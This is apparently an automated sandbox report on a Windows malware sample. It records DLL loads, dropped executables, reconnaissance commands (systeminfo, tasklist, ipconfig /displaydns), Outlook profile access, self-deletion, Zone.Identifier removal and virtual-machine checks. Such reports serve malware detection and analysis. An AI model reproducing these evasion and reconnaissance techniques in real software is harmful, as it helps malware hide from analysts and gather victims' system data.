Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ROUTE.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{603D3801-BD81-11d0-A3A5-00C04FD706EC}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: KTh1gQlT9a.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Unpacked PE file: 0.2.KTh1gQlT9a.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\esjbbri	Unpacked PE file: 4.2.esjbbri.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Unpacked PE file: 6.2.E647.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\uejbbri	Unpacked PE file: 7.2.uejbbri.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;

Source: C:\Users\user\AppData\Local\Temp\B575.exe

Code function: 8_2_00007FF7CB8778EC LoadLibraryA,GetProcAddress,GetCurrentProcess,IsWow64Process,

8_2_00007FF7CB8778EC

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_004014D9 pushad ; ret	0_2_004014E9
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_004031DB push eax; ret	0_2_004032AB
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_02601540 pushad ; ret	0_2_02601550
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_0265D85C push eax; retf	0_2_0265D85D
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_02672227 pushfd ; iretd	0_2_02672228
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_0267172A push B63524ADh; retn 001Fh	0_2_02671761
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Code function: 0_2_02673387 push esp; ret	0_2_02673389
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_004014D9 pushad ; ret	4_2_004014E9
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_004031DB push eax; ret	4_2_004032AB
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_02521540 pushad ; ret	4_2_02521550
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_026E1B2F pushfd ; iretd	4_2_026E1B30
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_026E1032 push B63524ADh; retn 001Fh	4_2_026E1069
Source: C:\Users\user\AppData\Roaming\esjbbri	Code function: 4_2_026E2C8F push esp; ret	4_2_026E2C91
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_0040100B push esi; ret	6_2_0040100C
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_0040280E push esp; ret	6_2_004029C6
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_0040281F push esp; ret	6_2_004029C6
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_00402822 push esp; ret	6_2_004029C6
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_00401328 push edi; retf	6_2_0040132A
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_004027ED push esp; ret	6_2_004029C6
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_004027FB push esp; ret	6_2_004029C6
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_024E2854 push esp; ret	6_2_024E2A2D
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_024E2862 push esp; ret	6_2_024E2A2D
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_024E2875 push esp; ret	6_2_024E2A2D
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_024E1072 push esi; ret	6_2_024E1073
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_024E1909 push esp; iretd	6_2_024E19BF
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_024E2889 push esp; ret	6_2_024E2A2D
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_024E1386 push edi; retf	6_2_024E1391
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_024E2886 push esp; ret	6_2_024E2A2D
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_02681A39 push 9A832F1Fh; iretd	6_2_02681A3F
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_026802CB push edi; retf	6_2_026802CC
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Code function: 6_2_0267FFB4 push esi; ret	6_2_0267FFB5

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\E647.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\esjbbri	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\uejbbri	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B575.exe	Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\uejbbri			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\esjbbri			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\kth1gqlt9a.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\esjbbri:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\uejbbri:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B575.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esjbbri	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esjbbri	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esjbbri	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esjbbri	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esjbbri	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esjbbri	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
